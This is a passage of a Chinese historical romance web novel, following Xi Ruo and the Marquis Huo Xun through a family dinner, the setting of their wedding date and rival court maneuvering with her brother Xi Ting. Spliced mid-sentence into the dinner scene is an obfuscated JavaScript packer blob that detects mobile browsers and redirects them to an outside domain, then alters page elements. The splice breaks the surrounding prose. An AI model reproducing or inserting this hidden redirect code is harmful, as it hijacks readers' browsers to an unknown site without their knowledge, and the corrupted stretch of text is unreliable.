霍恂看见她眼尾泛出的一点困倦,她眼中的光芒分明没有来时那么盛,想到她是疲惫,却也知道她大约不会同意在这里休息一会儿再走,所以点头应好。 只是走到了外头,息偌又不肯与他同车了。 来时被他拉上马车非她本意,睡着也在她意料之外,现在要回去了,她明知自己上车一定会睡着,是绝对不可能再与他同车的。 他的马车再暖和也不行。 息偌站在两辆车前,正要义正言辞地拒绝他,却见他回头看了门内一眼。门里出来的仆从抬了个小暖炉出来,比他车上的小些,但是温度却足够了。 这温暖的暖炉经过他们,径自被抬去了息偌的马车之上。 霍恂看着那小暖炉过去了,又同她叮嘱道:“叫你的侍女帮你看着些,若是太热了就将炭火灭了,免得你不习惯,下车后扑了风反易受凉。” 这就完了。 这就完了? 息偌深以为他是个很难缠的对象,还以为他要在回程坐车这事上为难自己一下呢,结果他居然就这么放过自己了。 她也没多此一举地再招惹他,飞快地应了声,就拉着小盼往自己马车上去了。 霍恂眼看着她头也不回上车的背影,对身边的主事道:“我母亲布置的那几处留下,其余的,有旧了的就都整修一遍。南面的小院收拾仔细些,添些女孩儿家喜欢的。饮食上,再去寻个擅做甜点的师傅。都尽快办。” 主事都记下了,垂首称是。 霍恂看着息偌的身影彻底掩在车帘之后,自己的话也交代完了,便往自己的车上走去。帘子放下之前,还叮嘱了雁行一句。 “你骑马顾着后面。” 他是无所谓让息偌的马车走在自己前面,但若是回了都城,又是麻烦一件,还是老实按制行事的好。 一行人就这么一路无风无浪地回了宁都,停在息家时,天色也微微露出了些昏沉,但并没彻底暗下来。街口陆续有人走过,是从官署回家的各位世家郎君们。 霍恂主动下车,走到后面去等。 息偌回程时,坐在车上和小盼小声聊了一阵,竟把精神头聊回来了,于是只在快入城的时候睡了一小会儿。此刻迷蒙醒来了,才穿外衣下车,就比霍恂晚了一些。 小盼先下车,没机会回去扶自家四娘子,先被霍恂抢了这活计。 霍恂知道息偌主动伸手时会不自在,只将手背朝上递了出去,让息偌扶在他手腕上走下马车。等她立稳了,他便将手收了回来。 他垂眼瞧了瞧息偌的模样,忽而道:“下次出来,要不要换个软枕。” 他伸手往自己脸颊上指了指,息偌比着位置将自己脸颊一摸,摸出了一个淡淡的压痕,大约是她方才在软枕上睡熟了压出来的。 摸着不深,但是息偌还是用手遮住了,有些微恼地侧过脸道:“知道了,你快回去罢。” 霍恂被她撵了,盯着她看了一眼,忽而对她身旁的小盼道:“劳你多留意,我病没好,怕过给你家娘子。若是不放心,提前吃服药防着。” 小盼用不着他的“劳”,连忙垂首答应。 但他醉翁之意不在酒。 息偌听见这句话,果真抬眼又瞧了他一回。他适时做出微倦神色,果真激出她些善意,与他再开口时,语气明显软下许多。 “你快回去罢。病没好,就在家多歇歇,别成日里在外面闲逛。” 也最好别在外头抓她。她还是喜欢和友人出去玩儿的,可不希望走到哪里,都会像今天一样随时被他带走。 他静静地看着她,就像看穿了她贪玩的心思一样,看得她心里发毛。 但他终究还是什么也没说,替她将风帽向前拉了半寸,挡住了她脸上微红的压痕,而后退了一步,摆摆手道:“天冷,进去罢。” 息偌就此与霍恂道别,自行回了住处,待晚上到了饭点,前头有息檀夫妇的侍女过来传话,请她去一同用晚饭。 她其实并不大饿,不过还是要去陪伴父母,所以应声前往。只是她没想到的是,居然很难得地遇到了息停也来一起用饭。 他们一家四口已很少有这种同案而食的机会,所以落座的时候,息偌分明能感觉到父母还是有些高兴的。甚至于,父亲息檀虽然已经许久没给过息停好脸色看,此刻居然都能按住性子,没逮着他其他事来教训他。 一家四口,一时吃得其乐融融。 侍女在一旁为他们分粥,轮到息偌时,她回头提了一句,说自己白天在外头吃得晚了些,让给她少盛一些。 她说得无意,不知道正撞上父母想要探听的关口。 息夫人问道:“怎么?你去彭家贪玩了什么,没有按时用饭?” 息偌微微顿了一下,回头看见息停抬首淡淡瞥向她的眼神,又看了父母一眼,就明白了他们不是单纯地问一句表面上的意思。 于是她实话回答道:“清都侯今日也去了彭家,说是在荔溪坪有个小别苑,要带我去看一看,所以和彭家长辈见礼后就走了。这么一耽误,午饭就用迟了些。” 息夫人笑问道:“带你回去做什么了?总不能就是带你去吃个饭罢?” 实际上,虽然在相看前期,这件事几乎完全由息停推动,但是息檀夫妇并非全然不知内情。在息偌与霍恂相看完的当天晚上,息夫人就来看过女儿,探听过她的口风。 息偌既然是主动答应的,自然也就不会提出什么不满。是以他们只当息偌偶尔提到霍恂相关时候的别扭,只不过是小女儿一时脾气上来的骄矜,并没有太多放在心上。 饶是如此,今天又知道霍恂主动去找息偌,他们也是好奇,少不得多问息偌两句,看看她的反应。 息偌挑眉道:“还能做什么?只大概转了转,就去吃饭了。我想着我容易饭后犯困,总不能在他那里待着,就立刻回来了。” 息夫人问道:“你们出行,他可有无礼之处?” 息偌想:当然有,他一出彭家,就单独要和自己同车而行。 但这话说出来并不大好,况且,在车上的时候,他也并没有对自己做什么,甚至于还在自己之前就先睡着了…… 至于后头,那都是她睡着了闹出来的意外。 息偌道:“没有,小盼和息忍一直跟着旁边呢,他举止没什么逾矩之处。” 息停听到此处,忽而问道:“在彭家时,没遇见什么人吗?” 他突如其来的一句,让息檀夫妇的目光都向他们兄妹二人转了一圈。息偌于是声音弱了些,道:“冯予迟也去了……” 眼见着父亲的目光变沉,她又连忙道:“不过没说两句话,清都侯就来了。有他在我前面顶着,冯予迟也不好怎样,直接就从冯家走了。” 从前他们还在一起的时候,父母就不大喜欢冯晚,不常有好脸色,只是却也没严厉训斥过她什么。息偌原本以为,如今婚约既定,他们还在外相见,也许父母是要问责她的。 但息檀只是问息停道:“冯家那小辈去彭家寻曼曼的事,你知不知道?” 息停点头道:“前些时候他命家仆费劲猎野味送去彭家,我听到过信儿。” 他说这话的时候冷笑了一下,就像在说,难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504231|168229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了他大冬天下了雪还能让人猎到野味去制造机会,其实根本都是无用功。 息檀便道:“那清都侯去彭家,也是你告知的?” 他语气笃定,虽然是个问句,但鉴于对儿子的了解,并没有带一丝疑问和不确定的口吻。 息停应声道:“是我说的。他既然心中满意,就得拿出诚意来,将身段放一放,否则让四娘的脸面放在哪里?” 话是这么个话,理是这么个理,息偌承认,在和冯晚分开以后,霍恂在外对她的姿态的确让她在一定程度上找回了些虚荣的面子,但是由息停说出来,怎么就这么奇怪? 父母在前,故意的罢? 真是个诡计多端的坏长兄啊。 息檀知道息停心里有着其他念头,这顿饭憋了一阵儿,终究还是没憋住,警告他道:“你妹妹的婚事上,你也注意分寸。” 从前那个,该早些料理就早些料理,别让他荒唐胡为,还如今日这样闹到人家面前去。现在这个,到底也没明着定下来,没必要让他三天两头带着息偌出去,看着像什么话? 多献献殷勤就行了,他们也要拿起架子,没必要让自家女儿回回都答应他,次次都顺着对面的意来。 息停明白意思,应声称是。 一顿饭吃完,息停被息檀叫去问公务,息偌便扶着母亲出去遛弯,顺便说些母女间的悄悄话。 她们在廊下闲转,息夫人同她道:“我知道这桩婚事与你说得太急了些,你虽答应了,心里难免还会有顾虑。女儿家出嫁前,即便对方是知根知底的郎君,也难免会心生犹豫的。来日方长,你且慢慢看一看,你可是个很胆大的性子呢。” 息偌犹豫道:“你和阿爹都说他好,长兄也说他好,我虽之前没听说过他,但这两回相见,却也不觉得不好。” 可还是犹豫。 她们站在廊下,看见息檀的书房灯火亮起,隐隐约约在窗纸上拢出两个模糊的影子。 息偌道:“长兄不也是个常得夸赞的好郎君吗?可我却觉得他不是个好夫君。如果这清都侯也是如此,那怎么办呢?” 息夫人笑着戳她脑门,道:“你这话也就是敢与我说,真让你哥哥到你面前来,你就不敢张嘴了。” 息偌扁扁嘴,心里无声反驳道:也不是,她之前已经顶撞过他了。 息夫人取笑完了,又抚摸着她的手道:“你说得没错,外人说再多也是无异,日子过得好不好,只有夫妻自己才明白。但是曼曼,你要记得,咱们家是会给你这个底气的。” 她的目光落在窗户上的那个影子,也难免露出些慨叹之意,道:“他们夫妻过得不如意,问题出在你哥哥身上。你嫂嫂当初提出和离,我与你阿爹是从来没有过不同意的。孰是孰非,我们能分得清楚。” 她揽着自己的女儿,道:“将来,若是你与自己的夫君也走到了这一步,我们自然也会尽全力支持你的决定。到那时,你想回家来,那就回家来。息家这样的根基,岂能连支持自己的女儿和离都做不到?” 息夫人说到此处,又沉声换了个表情道:“但你也莫因为我说的这话,故意和夫君闹得不睦。旁人犯错,我们不忍,但若错的是你,我也不会管你的。” 息偌的那三分坏心还没萌芽就被母亲按死在了地里。她跺了跺脚,道:“阿娘把我想成什么了!他若是对我好,我做什么要故意去闹?我难道不要脸的吗?” 息夫人笑着和女儿玩闹,余光却仍旧微微忧心地往书房处瞥了一眼。 这宁都好儿郎如此多,她慢慢选,何至于选不出一个堪配的优秀郎君给曼曼?即便是个出身弱些的,只要品性好、待曼曼用心,叫他上门来,和曼曼一辈子都住在息家,也能保曼曼一生不受委屈。 可她自打少女时知道了自己的婚事,就知道自己要面对的和别人不一样。那时候,息檀是未来的家主,如今,他是现任的家主。息家的责任注定要落在他的身上。 世家之祸,不是谁一家之祸,而是倾巢之覆。天有不测风云,谁也不能确保这百年的苦心经营,会不会倒塌于一夕之间。 一时的安稳好求,一世的安稳难得。 她无法将息家其他的儿女推去洪流之前,那于她的道义实在不符,若她真是那样的人,息停就不会辛苦成如今境地;但也正是因为见过了息停的样子,所以她更加确定,她不能让自己的孩子们都牺牲在此。 她是权衡再权衡,思虑再思虑,才与息檀一起选定了霍恂,既不至于毁了息停在前面的那些经营,又算是个对息偌而言最好的归宿。 但即便如此,谁也不能百分百地确定将来没发生的事。 他们要抱着最好的希望去,却也要做好最坏的打算,如此方是求生求存之道。 息夫人抱着女儿微叹道:“曼曼,爹娘不能只顾你、却不顾你哥哥。你先放心大胆地去,最不济,你阿爹、哥哥、还有我,都会帮你兜底的。” 息偌偎在母亲温暖的怀抱里,看着寒冬冷夜里的那一轮昏昏的月亮,乖巧而听话地应声说好。 17. 婚期 有关联姻之事,霍恂与息家都没打算隐瞒今上,是以消息很快就到了今上眼前,今上也就即刻宣召了霍恂与息家父子。 这样的场面是今上乐见,交谈的全程也是顺畅开怀。他们出宫时,今上不曾降下赐婚的令旨,但却放出了话,让李贵妃帮忙督办,为霍恂操持这一场婚礼。 这位正值盛宠的李贵妃,正是息停的妻姐,当年息停成婚的时候,今上甚至与贵妃亲自到场观礼。这句话说出来,就是在宣扬他对两家联姻的鼎力支持与重视了。 宫中都有了话,等同于将这件事从风言之中彻底定调,世家之间自然对此有所议论,冯家也不例外。 冯晚对此难以接受,曾去寻长辈们争辩过,除了训斥与拒绝之外自然什么也得不到。他倒是与南平郡王府有亲,南平府本就不喜息家,自然也不会帮他。 他甚至还试图想要去求在宫中为妃的那位表姐,可惜话都没递进去。更莫说,即便递进去了,即便那位表姐真站在他这一边,也绝不可能抵得过盛宠的李贵妃。 他倒是用心,徒然挣扎一圈,却尽是无用之功,半分作用也无。 有人将冯九郎这些奔忙笑话一般地告诉息停,想要打听他的口风,却也不过得他一笑置之。任这些事在宁都城中传得如何,息偌一句都没听到。 因为息偌近些时候没出过家门。 天气渐冷,她本身也就懒得出去。原本若是好友相邀,她也会应约,但如彭琰这样关系极佳的友人,知道外头的那些话,自然不会刻意将息偌带出去,即便想要相聚,也都是主动上门来。 而除却友人以外,清都侯府上也来息家拜访过几次,偶尔是仆从来,偶尔是霍恂本人亲自来。 若是仆从前来,那就是得了主人的叮嘱,给息家长辈和息偌送些礼物来。给长辈们的都是礼节上的东西,给息偌的倒是什么都有,不拘于贵重与否,都是合她心意的东西。 息夫人也打听过两回,自己也撞见过两回,贵的物件倒也算了,便宜的甚至有些点心花草什么的,瞧着也不如何珍惜,难得的是寒日里随时想见便送来的心意。 如此看了两回,她便又暗自满意放心了许多。 而若霍恂是亲自前来,那便不大一样了。 他是为行完六礼而来,来时便比寻常要庄重许多。需要双方父母相见的场合,今上都已为他安排妥当,请了当年与霍其祯老将军同袍为将的一位老将,以及朝中一位德高望重的皇叔,一起登门拜访。 霍恂跟在此二人之后,穿着举止无不合宜有礼。 他全程没有冒昧地提过非要与息偌相见不可,只每次离开之前都亲自给息偌留一份小礼,请求息家长辈转交。 如此,在年关之前不久,便到了请期那日。今上命钦天监测算过良辰,定在了年后的二月初六。霍恂登门送上日帖,请息家父母过目。 日子紧俏了些,满打满算,也就是一个月余,好在是息家家底丰厚,先前就有所准备,倒也算不上如何匆忙。 场面上的礼节走了一遍,原道霍恂便要离去了,这回倒不大一样。 他行礼请二位长辈先去,这才转过来对息檀夫妇道:“婚期定下,照理是不该相见的。只是我与四娘已有许久未见,不知今日可否请二位长辈通融,让我与四娘见上一回?” 备婚的这段时间以来,他行事处处妥帖,见不到息偌便不见,最多就是送些物件,连封信也没有,免了许多麻烦,更没有如先前那个冯九郎一般,勾得她成日里要往外跑。 他积攒的好感足够,再兼之这桩婚事本就是为了两方修好。息檀没有拒绝此请,命仆从去后院里清了个僻静又不背人的暖阁,让仆从带着霍恂前去稍候。 霍恂在彼处等了大约一炷香的时候,息偌才缓缓来到。 跟来的人都退到了门口,既不至于听见他们说话,也不至于离得太远。 霍恂自看见息偌身影的那刻,眼里便浮出些淡淡笑意,待她入阁之时,又微微垂下眼睑掩饰了过去。 他伸手为她斟茶,听见她站在对面道:“好端端的,你非要和我见面做什么?不怕我父母听了心里不快?” 霍恂将茶盏推去对面,道:“原本不打算如此,我以为是你想见我。” 息偌刚刚坐下,被这一句话激得差点站起来。她挑起眉毛,反驳道:“我何时想要见你?” 霍恂抬头觑她神色,笑道:“那莫非是我看错了?正厅屏风后头站着的那个不是你?” 他看着她分明有些红的脸颊,煞有介事地瞧了一眼她身上穿的衣裙,点点头道:“看来是我看错了,躲着的那个是身蓝裙子,你却不是。” 特地绕回去换了身衣裙的息偌:…… 认是不可能认的。 息偌先前是对霍恂来息家做了什么一点兴趣也没有,只是一方面听家人说,他每次来时举止都很是温和有礼,一方面又听友人说,外头都说清都侯很是看重这桩婚事,各项事宜筹备得极为仔细,还说常见清都侯府上去给息家送礼,说他对她用情深厚…… 她因此才生出了些好奇。 那霍恂竟这般会做戏吗?那她可要好好看一看了。 老天作证,她就暗自去看了一回,怎么就让他抓个正着! 她坚决地摇头否认道:“那必然是你看错了!这是我家,我要是想见你,正大光明去前头见就是了,何至于躲在屏风后头瞧?” 霍恂从善如流接口道:“那就是我想见你了。曼曼,莫见怪。” 息偌这是第三回见霍恂,她已经很久没应过他的话了,骤然听见他喊自己一声“曼曼”,执杯的手都抖了抖。 若不是她方才紧张,喝了些水,不然这时候茶水都要洒出来。 她连忙道:“你怎么叫我小名?我们还不熟呢。” 霍恂无谓道:“那你习惯习惯罢,连小名都听着奇怪,将来改了口,你岂不是浑身难受?” 息偌气鼓鼓地盯着他:瞧瞧!她就说他怎么可能是温和有礼的谦谦君子?嘴上说着想见她,真的见到了,几句话不完,又要拿话堵她。 他给她添茶,故意道:“曼曼,喝茶。” 息偌不想理他了,下意识垂手去拿茶杯想要别过脸去,可是茶杯递到了唇边,又听见他似乎是轻轻笑了笑,随即反应过来,她此举正是应了他的那话。 于是茶水到了嘴边,息偌又觉得不对劲,气冲冲地把茶杯重新放回了桌面上,别过脸不理他了。 霍恂接下来倒是没再说话了,手里拿着杯盏,悠闲缓慢地用完了一杯,将空了的杯盏放回去,拂袖道:“那我就告辞了。” 此日晴空万里。 温暖的阳光落在寒冷寥落的冬日里,将风声都吹缓了三分,偶尔还能听到几声鸟鸣。 息偌听着炭火中的轻微爆裂声,有些微怔地抬头看他站起来,嘴比脑子更快,问他道:“你这就走了?” 问完她就想打自己嘴。 霍恂理了理衣摆,应了她一声。 既然要送客,息偌也就站了起来,有些踯躅地问他道:“你今日是来做什么的?” 如果没有什么事,为什么非要见她一回?如果有什么事,又为什么这会儿不说就离开? 霍恂想了想,看着她问道:“你知道定下了二月初六罢?” 息偌下意识想要点点头,突然反应过来,自己才否认了刚刚在前厅的事,于是故意做出惊讶的神色,微微掩口道:“那么快?” 霍恂看着她拙劣的演技,扯了扯唇角,道:“还有一个多月,不算很快了。” 息偌反驳道:“一个月能做什么?我还没准备好和父母分开呢。” 霍恂故意道:“一个月,方家都能抄完了。” 是建朝初期的一个大家族,清流文臣发的家,一贯是忠诚热忱,可惜后人勤勉直接有余,为臣之谨言慎行不足,又碰上个猜忌心重的帝王,直接罗列了十八条大罪,抄了个干干净净。 息偌现在也有些明白他与她说话的套路了。他这么明目张胆地说这些威胁她的话,其实并非是真的想要威胁她什么,更多的是故意吓唬她,想看她跳脚。 她伸出一只手指,对着他恶狠狠地点了点,警告他。 只是这样的动作落在他的眼中,实在是没有什么太大的威慑力。他只轻轻笑了笑,不说话。 息偌转身与他一起往外去,低声道:“你在我爹娘面前装得也太好了,跟给他们灌了迷魂汤似的,不过送点小礼物,教他们在我面前将你夸得不行。真该叫他们来听听来看看,你是怎么对我的。” 霍恂不大相信所谓的赞不绝口,甚至还挑眉看了看息偌,想她居然也会这么面不改色地在他面前给父母说好话了。 但是他也没有戳破,顺着这话道:“夫妻间交谈,即便话说得冒犯些,也是风月情趣。你敢叫他们来,我敢说,他们倒未必愿意听。” 息偌努嘴道:“话都叫你说了,真觉得将我家都拿住了是不是?” “岂敢?” 最麻烦的那个,今日还没见着呢。 霍恂一面与她走,一面又循着这话,想到了这些日子以来的麻烦。 以他原本的想法,哪怕仓促些也无妨,老话有说“抬头红”,忌讳于正月成亲,他不想耽误太久,想着最好在年前就把婚事定了。 关于他入朝的事,他已然与今上私下里议论过了,今上没有明言,但已经给他露了些口风。 再者,朝中近来也有些官员调动的大动作,声势还不小,一来是今上的确有调动的想法,二来是让他的归来与官员的调动互相掩护,既让钻营之徒不清上意,以便今上将真正想用之人放在合适的位置上,也能让他顺利趁着这趟浑水,挪去一个合适的位置上。 他早日入朝,也好早日动作,早日施展手脚。 但是麻烦就麻烦在,息停的位置实在是有些碍眼了。 他少年入朝时,就站在今上那边,自始至终从没有做过一件对今上不利的事。今上势盛时,他水涨船高;今上式微时,他不降反增。他是将皇权和世家的力量都运用到了极致,但却是为了今上的。 今上若不用他,一来是寒了臣子之心,二来,也是少了一把很合适的世家之刃,那就太不值得了。 于是这把双面刃,如今日日悬在眼前,看着烦心,丢了恼火。 现在霍恂来了,霍恂百分之一千地要与今上站在一处,甚至要站在今上的眼前,于是这个锋刃,就横在了霍恂的眼前。 朝堂的浑水,是霍恂的掩护,也是霍恂的麻烦。息停在朝中根植经营多年,即便助力今上,做了今上近臣,仍旧不失世家威望,岂能没有他私下里培植世家实力的缘故? 霍恂想要推动婚事尽快进行,以便自己早日入朝,息停就能想办法拖延婚事,将行三书六礼的时间无限延长,竟真真将婚期拖到了年后去。 想想就烦。 不过这次暗中交锋里,他倒也不是全然无所获。 原本他以为,那位领了圣命要操办此次婚事的李贵妃,也许会看在妹妹的面子上,和息停达成一致,反过来对付他。孰料当他们二人真争起来,她倒是帮起了霍恂,想要将婚事推前。 霍恂初来乍到,虽有听闻,但不曾亲眼见过,尚不敢完全确定。于是某次进宫去与今上说话时,恰逢李贵妃过来,他就提了一句,多谢李贵妃费心为他操办。 这位李贵妃容色极盛,传言里说是威严极佳,甚少牵扯朝堂之事,即便有官员想要走她的门路,多半也是会言辞驳回。若是为国为民的好事倒也罢了,若是怀抱钻营之心,即便是她父亲李相当年门下的学生,她也是坚决不见的。 但她也是有软肋的。李相故后,她就剩下了两个同胞妹妹,若是谁让她这两个妹妹受了委屈,她是坚决不会放过的。 息停借着李常希与李贵妃之间的姊妹情深,不知走通了多少大事。 但是这一回,息停倒是没能走通。反倒是霍恂,此次相见,李贵妃上下打量他一番,很是赞许了他一番,又和颜悦色地与他与今上说了会儿话,这才回去。 霍恂行礼送她,余光里瞧见今上的目光就像黏在李贵妃的后背上似的,脸上的笑挡也挡不住,直等到李贵妃的身影彻底看不见了,才将目光收了回来。 他对霍恂道:“息为止的妻子,是贵妃的妹妹,这你知道罢?” 霍恂道:“知道。” 今上负手道:“他们夫妻之间不大和睦,如今已经分居。贵妃因为此事,对息为止很不满意。” 所以才愿意霍恂搅局,她巴不得有谁来给息停送些麻烦。 霍恂听着这话,垂着眼,没有接口。 今上又道:“晚些也不妨。你仔细看看宁都的局势,眼下不见他们有和好或者和离的迹象。但这也未尝不是个好事,看你如何把握。” 他似笑非笑地觑着霍恂道:“只是你莫也着急,别和息为止似的,性子闹起来连分寸也顾不上。都是一家人,贵妃日日忧心,朕看着也不舒畅。” 这话就是在提醒霍恂,务必要把握住息停眼下家事不宁的时机,必要时甚至无妨推动一把,只要莫闹到李贵妃眼前,随他做到什么地步都无妨。 那回相见,霍恂口中将这话带过去了,但心里压根没将今上这话记着。 一来,自己和息停的关系摆在那里,实在是没必要干这种戳心窝的事情,是人总有逆鳞,若是将息停逼急眼了,才是件难处理的麻烦事。 二来,眼下有息偌夹在中间,他对她来说尚不算是什么重要之人,真要发生了什么,她必然是站在她家人那边,但息停未必会有这样的善心将她护着。 此局落败便落败,婚事晚些就晚些。息停无非是想多做准备,又不是真要阻止他们的婚事,他何必在婚期这种事上一来就争个头破血流。 不值当。 霍恂与息偌走在一起,脑中一瞬间划过过去这许多破事,脸上却仍旧是一副温和的表情,半分也没叫息偌看出端倪。 息偌什么都不知道,还以为他这些日子就是送送礼物、安排婚事呢。 她一面走,一面与他道:“你也没必要三天两头地就给我送什么东西,我什么都不缺,总之现在婚事落定,你也用不着做这些给人看。” 哪里都是为了做给人看的? 霍恂问她道:“是吗?外头人看见了,都说什么?” 息偌有些无语道:“说你性情好,温润如玉,彬彬有礼;说你情深一片,寒冬腊月里拖着病体,还去给未婚妻置办礼物;说息四娘子真是娇蛮无理,偏偏就是运气好……” 她说着说着,就有些气来,半怒半怨地瞪他一眼,恼道:“都是夸你贬损我的。” 霍恂听见这些话便笑,道:“你真是不出门,怎么不寻些好听话来听?若是谁贬损你,你上去撕了谁的嘴,横竖我是给 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息偌不信道:“我若不见她也就算了,但将来若是与你一起,必然常去见她。你与长兄也不能一直护着我,得罪她对我有什么好处?” 霍恂倒是不大在意,道:“不入宫就不去,这也没什么,你当陛下有多想和这些世家子女们谈笑吗?再说了,那些规矩,我自己都不喜欢,你也没必要学得那么认真。” 若是将她约束狠了,套在这些礼节的笼子里,她也就不有趣了,那可不是他希望看到的。 息偌偏头问道:“真的?” 霍恂点头应道:“当然。” 息偌是一点没信,扭过头轻声嗤了下,道:“算了罢。我可不希望将来为了这些礼节上的事出什么差错,平白给自己添什么麻烦,那就太亏了。” 霍恂对她道:“那你大可放心的。若是真想寻事,没差错也能挑出差错来。无中生有懂不懂?” 息偌十分怨念地望着他道:“你就不能说些好听话吗?” 霍恂笑道:“我劝你不要容忍,是你不听的。” 息偌反驳道:“你懂什么!我是为了我的好嫂嫂忍辱负重!” 她看着霍恂若有所思的神情,声音提高了些,警告他道:“我可告诉你,你要对付就找我长兄去,别打我嫂嫂的主意!” 霍恂问道:“这么喜欢你嫂嫂?” 息偌道:“我倒巴不得这是我亲姐姐呢。” 这样她还能撒个泼,抄起花园里的扫帚把那位坏姐夫撵出去。 霍恂目光看向前路的影影绰绰,似笑非笑道:“你的亲姐夫来了。” 息偌是息家这辈第一个女孩儿,哪里来的什么姐姐?霍恂这句话一出口,她就反应过来是息停来了。 她的表情肉眼可见地紧绷起来,立刻顺着霍恂目光的方向警惕地看过去,果然看到那边小径之后,息停穿着居家的常服,拢着件半新的厚袍缓缓走来。 霍恂看着她跟只受惊的兔子似的,原本是挺好笑的一个场面,但他唇边的笑意此刻却没那么真了。 他来回打量了一回这兄妹俩,问道:“就这么怕他?” 他满眼都是些“你不是他亲妹妹吗”的不解,在此之前,他知道息偌害怕息停,还以为只是嘴上说说而已。 息偌紧张到目不斜视,背都挺直了,看向她长兄走过来的方向,只有嘴唇微动,与他说话道:“你不知道,即便是我那些叔叔们来了,也是要害怕他的。” “是吗?” 霍恂将目光放在前面,眼见着息停走近了,息偌将将准备要与他见礼的时候,他突然开口高声唤道:“息大郎君!请先止步!” 息停原本就是过来找他们的,听见这么一声,脚下下意识放缓了半步,立住了,问道:“怎么……” 而趁着这个空荡,霍恂却突然伸手,隔着斗篷握住了息偌的手腕,将她向旁边拉着快步跑开了。 息偌还没反应过来就被他拉走,她脚下跟着霍恂移动得飞快,脸上的表情却还是错愕的,头也往后转着看了看,对霍恂惊愕道:“你跑什么!” 霍恂也没跑太远,和息停拉开了一段距离就停下来,回头望着息偌,十分自若地道:“你不是害怕他吗?惹不起还能躲不起吗?跑远点,免得他再吓唬你。” 息偌一拳头就砸到他身上,道:“你等下走了,我还在息家呢,到时候他来找我算账、教训我,那我怎么办?” 霍恂十分洒脱道:“我都看不见了,还要管吗?” 息偌没忍住又砸了他两拳,怒道:“你要害死我了!” 霍恂方才突然跑起来,呛了些凉风,此刻被息偌一砸,虽然没多大力气,但还是觉得喉头发痒,握拳掩口转向一边,轻轻咳了两声。 息偌的动作立刻停了下来,她有些迟疑地发问道:“你现在的身体这么虚弱了?” 她也没用什么力啊。 霍恂面无表情道:“冷风呛我,没良心的息四娘子也呛我。” 息偌无语道:“谁呛你了?我与长兄见个礼不就好了吗?谁让你跑了!” 霍恂好歹跑的时候还是看着路的,这么一跑,再沿着这个方向去,又要回到他们方才对坐的暖阁。 他将喉咙里那股痒意压了下去,道:“得了,你顺着这边,直接回居所罢。我过去拦着他,保证他找不到你那儿去。” 他错身向前走了两步,又回头道:“婚前我不会再来息家了,你可还有什么事吗?眼下告诉我,我可去处理。” 息偌想了想,摇了摇头。 她能有什么大事啊?真有事,也是她双亲和兄长在前替她处理,轮不着他来。 于是霍恂便道:“我还叫侍从时不时来给你送些东西。你若有什么事,不拘写信或者口信儿,直接告诉他就成,我知道了就去料理。” 息偌抬头看他,他神色倒是很认真,这么微微垂首殷殷叮嘱,倒是生出些很是温柔的样子来。 她心里骂着“美色误人”,想,都怪他生了这样一副好皮相,所以明明性情恶劣,但她也总是生不起气来。 也都怪她,真是天下善解人意第一人。 既然他都这样叮嘱了,于是息偌也就应声道:“知道了。” 霍恂点点头,这才要转身离去。 息偌看着他背影,想起来,他上次生着病回去,这次见面,她也没问过他养好了没有,不过看今天他与她说话的样子,气色倒是还好,表情也没有太多倦怠,应当是好了的。 她下意识开口想要唤他一句。 “霍……” 不对劲。她要直接叫他名字吗?剩下那个字她可叫不出来。 算了。 但是他似乎还是听见了,脚步停下来,回头又看她,带着些问询之色看向她。 息偌心里定下来,回望他问道:“上次说要给我准备一匹小马,你还记着没有?” 霍恂闻言微微一怔,很快又反应过来,答她道:“都准备好了,你随时来看。” 随时?她才不要随时。真是给他脸了。 阿爹都说了,息家也要自恃身份端一端架子的,她也是有自己的脾气和格调的,才不要他一招呼,她就巴巴地跟去。 虽然她的确很想要看看自己的小马。 息偌故作骄矜地点头道:“那就年后再去。” 18. 深夜 霍恂别了息偌,又沿着这条路向外走去。 息停似乎是并不担忧他会一走了之,就在那边静候,见着他过来,才淡淡道:“说完了?” 霍恂点头,应了句“说完了”,又问他道:“有事?” 息停引着他一路向外去,道:“原本没事,现在送走了你,可以有点事。” 霍恂笑道:“你做长兄的,是该有些威严,但也不至于把自己的妹妹吓唬成那样,见着你像是见着什么豺狼虎豹似的,话也不会说了,路也不会走了,这是何必?” 息停睨他一眼,道:“即便是成了婚、做了我的妹夫,也轮不到你来管教我如何面对家人。” 霍恂点到即止,道:“成,算我白说。” 息停顿了顿,这才正经说起来事,道:“有桩事我先问过你,南平府和武安郡主那边,与你关系如何?你去见过了吗?” 霍恂道:“武安郡主没见过,南平郡王倒是见过一回,在宫里见的,对着我吹胡子瞪眼,一阵阴阳怪气。” 他想起那次场面就发笑,对息停道:“我是被你连累了罢?” 息停点点头,满意道:“那我就放心了。” 既然对面认定了霍恂与他成了同党,那将来在朝堂上争起来,就不至于指着他一个使些阴谋阳策,好歹也是有个和他一起顶刀子的了。 霍恂知道他心里算计的什么,又道:“你别指望着我能和你一起,那是绝不可能的,叫陛下看到了,我的前程还要不要了?” 息停事不关己地淡声道:“那是你自己的事,与我何干?” 如何把握做事的分寸,那是霍恂这个中间人自己应该忖度思量的问题。息停可不会替他考虑,他巴不得将他拖下水,让别人都以为他们是一方利益共同体,他也好少些麻烦。 霍恂道:“你还是盼着我能好些。眼下我入不了朝,里头的脏水沾不到身,你莫要艺高人胆大,把自己玩得一身脏污,最后想要的东西也没拿到手。” 他意有所指道:“你身上也不是全然没有可供攻讦之处。” 息停的脸色果然微微一变,侧脸望他道:“你试试看?” 霍恂看着他这副神情,心下微微思忖,面上却不动声色,道:“我不试,我为什么要自己给自己找麻烦?最多是有不长眼不怕死的来,我好好看看热闹。” 息停目光中颇有一番凛厉的警告之意,霍恂倒是笑得神态自若。 如此走了一阵,两人又交谈了一番别事,就来到了息府门前。马车早已备好,霍恂侧过身去,对息停道:“那我就告辞了,大郎君。” 他们临去之时,息停已经让侍从去与息檀报过,也免得霍恂为全礼数,还要再去见他们一回。 此刻霍恂要走,息停代为相送,到了门前,也就随意拱了拱手,道:“那就不远送了。” 霍恂与他也没什么过多的客套,转身上了马车,待回到自己府中了,才叫雁行到身边来,吩咐道:“将去调查李家的人都先撤回来。” 